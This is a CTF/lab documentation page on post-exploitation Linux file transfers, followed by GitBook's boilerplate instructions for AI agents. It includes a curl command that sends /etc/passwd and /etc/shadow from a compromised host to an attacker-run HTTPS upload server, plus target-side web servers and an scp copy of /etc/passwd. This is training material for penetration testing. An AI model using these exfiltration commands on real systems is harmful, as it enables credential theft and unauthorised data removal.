> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/linux-file-transfer-upload.md).

# Linux File Transfer Upload

Use this page when you need to move files off a Linux compromised host.

Some methods also work in reverse to push files to a Linux target.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the Linux machine you already accessed.
{% endhint %}

### Upload methods

#### 1. Web upload via `uploadserver` and `curl`

Run the first three commands on the **attacker**.

Run the `curl` command on the **compromised host**.

```bash
# Attacker — create SSL cert and start HTTPS upload server
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

# Target — upload files using curl POST
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

`-F 'files=@/etc/passwd'` means attach that file as multipart form data.

`--insecure` skips TLS verification for the self-signed certificate.

You can upload multiple files by repeating `-F`.

#### 2. Quick web server

Use this when the compromised host has Python, PHP, or Ruby.

Start a web server on the **compromised host**.

Then pull the file from the **attacker**.

```bash
# On TARGET — start web server in the directory containing your file
python3 -m http.server           # Python3, port 8000
python2.7 -m SimpleHTTPServer    # Python2, port 8000
php -S 0.0.0.0:8000              # PHP, port 8000
ruby -run -ehttpd . -p8000       # Ruby, port 8000

# On PWNBOX — download the file
wget 192.168.49.128:8000/file.txt
```

This is a download from the attacker's view.

It is still an upload path from the compromised host's view.

#### 3. SCP upload

Use this when SSH is available and you want a direct encrypted copy.

**Attacker or any machine with the source file — upload a local file to a remote Linux host**

```bash
# Upload local file TO remote machine
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
```

If you need the opposite direction, swap the source and destination.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/linux-file-transfer-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
